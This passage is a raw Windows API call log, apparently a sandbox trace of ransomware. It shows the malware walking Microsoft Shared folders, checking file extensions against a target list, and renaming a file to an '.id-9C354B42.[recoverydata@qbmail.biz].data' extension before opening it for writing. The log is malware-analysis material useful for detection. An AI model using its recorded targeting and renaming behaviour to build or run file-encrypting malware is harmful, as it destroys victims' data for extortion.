GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0088.607] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0088.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0088.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0088.607] lstrlenW (lpString=".doc") returned 4 [0088.607] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0088.607] lstrlenW (lpString=".docx") returned 5 [0088.607] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0088.607] lstrlenW (lpString=".pdf") returned 4 [0088.608] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0088.608] lstrlenW (lpString=".xls") returned 4 [0088.608] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0088.608] lstrlenW (lpString=".xlsx") returned 5 [0088.608] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0088.608] lstrlenW (lpString=".ppt") returned 4 [0088.608] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0088.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0088.608] lstrlenW (lpString=".zip") returned 4 [0088.608] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0088.608] lstrlenW (lpString=".rar") returned 4 [0088.608] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0088.608] lstrlenW (lpString=".bz2") returned 4 [0088.608] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0088.608] lstrlenW (lpString=".7z") returned 3 [0088.608] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0088.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0088.608] lstrlenW (lpString=".dbf") returned 4 [0088.608] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0088.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0088.608] lstrlenW (lpString=".1cd") returned 4 [0088.608] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0088.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0088.608] lstrlenW (lpString=".jpg") returned 4 [0088.608] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0088.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0088.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0088.609] lstrlenW (lpString=".doc") returned 4 [0088.609] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0088.609] lstrlenW (lpString=".docx") returned 5 [0088.609] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0088.609] lstrlenW (lpString=".pdf") returned 4 [0088.609] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0088.609] lstrlenW (lpString=".xls") returned 4 [0088.609] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0088.609] lstrlenW (lpString=".xlsx") returned 5 [0088.609] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0088.609] lstrlenW (lpString=".ppt") returned 4 [0088.609] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0088.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0088.609] lstrlenW (lpString=".zip") returned 4 [0088.609] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0088.609] lstrlenW (lpString=".rar") returned 4 [0088.609] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0088.609] lstrlenW (lpString=".bz2") returned 4 [0088.609] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0088.609] lstrlenW (lpString=".7z") returned 3 [0088.609] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0088.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0088.609] lstrlenW (lpString=".dbf") returned 4 [0088.609] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0088.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0088.609] lstrlenW (lpString=".1cd") returned 4 [0088.609] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0088.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0088.609] lstrlenW (lpString=".jpg") returned 4 [0088.609] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0088.610] lstrcmpiW (lpString1=".xml", lpString2=".data") returned 1 [0088.610] lstrlenW (lpString="ipsrom.xml") returned 10 [0088.610] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0088.610] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2ccff1c | out: lpFileSize=0x2ccff1c*=2644) returned 1 [0088.610] CloseHandle (hObject=0x20c) returned 1 [0088.611] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml")) returned 0x20 [0088.611] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0088.611] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0088.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0088.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0088.611] lstrlenW (lpString=".doc") returned 4 [0088.611] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0088.611] lstrlenW (lpString=".docx") returned 5 [0088.611] lstrcmpiW (lpString1=".docx", lpString2="m.xml") returned -1 [0088.611] lstrlenW (lpString=".pdf") returned 4 [0088.611] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0088.611] lstrlenW (lpString=".xls") returned 4 [0088.611] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0088.611] lstrlenW (lpString=".xlsx") returned 5 [0088.611] lstrcmpiW (lpString1=".xlsx", lpString2="m.xml") returned -1 [0088.611] lstrlenW (lpString=".ppt") returned 4 [0088.611] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0088.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0088.612] lstrlenW (lpString=".zip") returned 4 [0088.612] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0088.612] lstrlenW (lpString=".rar") returned 4 [0088.612] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0088.612] lstrlenW (lpString=".bz2") returned 4 [0088.612] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0088.612] lstrlenW (lpString=".7z") returned 3 [0088.612] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0088.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0088.612] lstrlenW (lpString=".dbf") returned 4 [0088.612] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0088.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0088.612] lstrlenW (lpString=".1cd") returned 4 [0088.612] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0088.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0088.612] lstrlenW (lpString=".jpg") returned 4 [0088.612] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0088.613] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0088.613] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0088.613] lstrlenW (lpString=".doc") returned 4 [0088.613] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0088.613] lstrlenW (lpString=".docx") returned 5 [0088.613] lstrcmpiW (lpString1=".docx", lpString2="m.xml") returned -1 [0088.613] lstrlenW (lpString=".pdf") returned 4 [0088.613] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0088.613] lstrlenW (lpString=".xls") returned 4 [0088.613] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0088.613] lstrlenW (lpString=".xlsx") returned 5 [0088.613] lstrcmpiW (lpString1=".xlsx", lpString2="m.xml") returned -1 [0088.613] lstrlenW (lpString=".ppt") returned 4 [0088.613] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0088.613] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0088.613] lstrlenW (lpString=".zip") returned 4 [0088.613] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0088.613] lstrlenW (lpString=".rar") returned 4 [0088.613] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0088.613] lstrlenW (lpString=".bz2") returned 4 [0088.613] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0088.614] lstrlenW (lpString=".7z") returned 3 [0088.614] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0088.614] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0088.614] lstrlenW (lpString=".dbf") returned 4 [0088.614] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0088.614] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0088.614] lstrlenW (lpString=".1cd") returned 4 [0088.614] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0088.614] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0088.614] lstrlenW (lpString=".jpg") returned 4 [0088.614] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0088.614] lstrcmpiW (lpString1=".xml", lpString2=".data") returned 1 [0088.615] lstrlenW (lpString="ipsrus.xml") returned 10 [0088.615] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0088.616] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2ccff1c | out: lpFileSize=0x2ccff1c*=2542) returned 1 [0088.616] CloseHandle (hObject=0x20c) returned 1 [0088.616] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml")) returned 0x20 [0088.616] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0088.617] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0088.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml") returned 61 [0088.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml") returned 61 [0088.617] lstrlenW (lpString=".doc") returned 4 [0088.617] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0088.617] lstrlenW (lpString=".docx") returned 5 [0088.617] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0088.617] lstrlenW (lpString=".pdf") returned 4 [0088.617] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0088.617] lstrlenW (lpString=".xls") returned 4 [0088.618] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0088.618] lstrlenW (lpString=".xlsx") returned 5 [0088.618] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0088.618] lstrlenW (lpString=".ppt") returned 4 [0088.618] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0088.618] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml") returned 61 [0088.618] lstrlenW (lpString=".zip") returned 4 [0088.618] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0088.618] lstrlenW (lpString=".rar") returned 4 [0088.618] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0088.618] lstrlenW (lpString=".bz2") returned 4 [0088.618] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0088.618] lstrlenW (lpString=".7z") returned 3 [0088.618] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0088.618] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml") returned 61 [0088.619] lstrlenW (lpString=".dbf") returned 4 [0088.619] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0088.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml") returned 61 [0088.619] lstrlenW (lpString=".1cd") returned 4 [0088.619] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0088.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml") returned 61 [0088.619] lstrlenW (lpString=".jpg") returned 4 [0088.619] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0088.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml") returned 61 [0088.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml") returned 61 [0088.619] lstrlenW (lpString=".doc") returned 4 [0088.620] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0088.620] lstrlenW (lpString=".docx") returned 5 [0088.620] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0088.620] lstrlenW (lpString=".pdf") returned 4 [0088.620] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0088.620] lstrlenW (lpString=".xls") returned 4 [0088.620] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0088.620] lstrlenW (lpString=".xlsx") returned 5 [0088.620] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0088.620] lstrlenW (lpString=".ppt") returned 4 [0088.620] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0088.620] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml") returned 61 [0088.620] lstrlenW (lpString=".zip") returned 4 [0088.620] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0088.621] lstrlenW (lpString=".rar") returned 4 [0088.621] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0088.621] lstrlenW (lpString=".bz2") returned 4 [0088.621] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0088.621] lstrlenW (lpString=".7z") returned 3 [0088.621] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0088.621] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml") returned 61 [0088.621] lstrlenW (lpString=".dbf") returned 4 [0088.621] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0088.621] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml") returned 61 [0088.621] lstrlenW (lpString=".1cd") returned 4 [0088.621] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0088.621] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml") returned 61 [0088.621] lstrlenW (lpString=".jpg") returned 4 [0088.621] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0088.622] lstrcmpiW (lpString1=".xml", lpString2=".data") returned 1 [0088.622] lstrlenW (lpString="ipssrb.xml") returned 10 [0088.622] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0088.623] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2ccff1c | out: lpFileSize=0x2ccff1c*=2568) returned 1 [0088.623] CloseHandle (hObject=0x20c) returned 1 [0088.623] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml")) returned 0x20 [0088.623] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0088.623] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0088.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml") returned 61 [0088.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml") returned 61 [0088.623] lstrlenW (lpString=".doc") returned 4 [0088.623] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0088.623] lstrlenW (lpString=".docx") returned 5 [0088.623] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0088.623] lstrlenW (lpString=".pdf") returned 4 [0088.623] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0088.623] lstrlenW (lpString=".xls") returned 4 [0088.624] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0088.624] lstrlenW (lpString=".xlsx") returned 5 [0088.624] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0088.624] lstrlenW (lpString=".ppt") returned 4 [0088.624] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0088.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml") returned 61 [0088.624] lstrlenW (lpString=".zip") returned 4 [0088.624] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0088.624] lstrlenW (lpString=".rar") returned 4 [0088.624] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0088.624] lstrlenW (lpString=".bz2") returned 4 [0088.624] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0088.624] lstrlenW (lpString=".7z") returned 3 [0088.624] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0088.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml") returned 61 [0088.624] lstrlenW (lpString=".dbf") returned 4 [0088.624] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0088.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml") returned 61 [0088.624] lstrlenW (lpString=".1cd") returned 4 [0088.624] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0088.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml") returned 61 [0088.624] lstrlenW (lpString=".jpg") returned 4 [0088.624] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0088.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml") returned 61 [0088.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml") returned 61 [0088.625] lstrlenW (lpString=".doc") returned 4 [0088.625] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0088.625] lstrlenW (lpString=".docx") returned 5 [0088.625] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0088.625] lstrlenW (lpString=".pdf") returned 4 [0088.625] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0088.625] lstrlenW (lpString=".xls") returned 4 [0088.625] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0088.625] lstrlenW (lpString=".xlsx") returned 5 [0088.625] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0088.625] lstrlenW (lpString=".ppt") returned 4 [0088.625] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0088.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml") returned 61 [0088.625] lstrlenW (lpString=".zip") returned 4 [0088.625] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0088.625] lstrlenW (lpString=".rar") returned 4 [0088.625] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0088.626] lstrlenW (lpString=".bz2") returned 4 [0088.626] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0088.626] lstrlenW (lpString=".7z") returned 3 [0088.626] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0088.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml") returned 61 [0088.626] lstrlenW (lpString=".dbf") returned 4 [0088.626] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0088.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml") returned 61 [0088.626] lstrlenW (lpString=".1cd") returned 4 [0088.626] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0088.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml") returned 61 [0088.626] lstrlenW (lpString=".jpg") returned 4 [0088.626] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0088.626] lstrcmpiW (lpString1=".xml", lpString2=".data") returned 1 [0088.626] lstrlenW (lpString="ipssrl.xml") returned 10 [0088.626] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0088.627] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2ccff1c | out: lpFileSize=0x2ccff1c*=2596) returned 1 [0088.627] CloseHandle (hObject=0x20c) returned 1 [0088.627] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml")) returned 0x20 [0088.627] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0088.628] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0088.628] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml") returned 61 [0088.628] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml") returned 61 [0088.628] lstrlenW (lpString=".doc") returned 4 [0088.628] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0088.628] lstrlenW (lpString=".docx") returned 5 [0088.628] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0088.628] lstrlenW (lpString=".pdf") returned 4 [0088.628] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0088.628] lstrlenW (lpString=".xls") returned 4 [0088.628] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0088.628] lstrlenW (lpString=".xlsx") returned 5 [0088.628] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0088.628] lstrlenW (lpString=".ppt") returned 4 [0088.628] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0088.628] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml") returned 61 [0088.628] lstrlenW (lpString=".zip") returned 4 [0088.629] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0088.629] lstrlenW (lpString=".rar") returned 4 [0088.629] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0088.629] lstrlenW (lpString=".bz2") returned 4 [0088.629] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0088.629] lstrlenW (lpString=".7z") returned 3 [0088.629] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0088.629] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml") returned 61 [0088.629] lstrlenW (lpString=".dbf") returned 4 [0088.629] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0089.048] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 1 [0089.049] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0089.050] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfc6c | out: lpNewFilePointer=0x0) returned 1 [0089.050] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfc2c | out: lpNewFilePointer=0x0) returned 1 [0089.050] 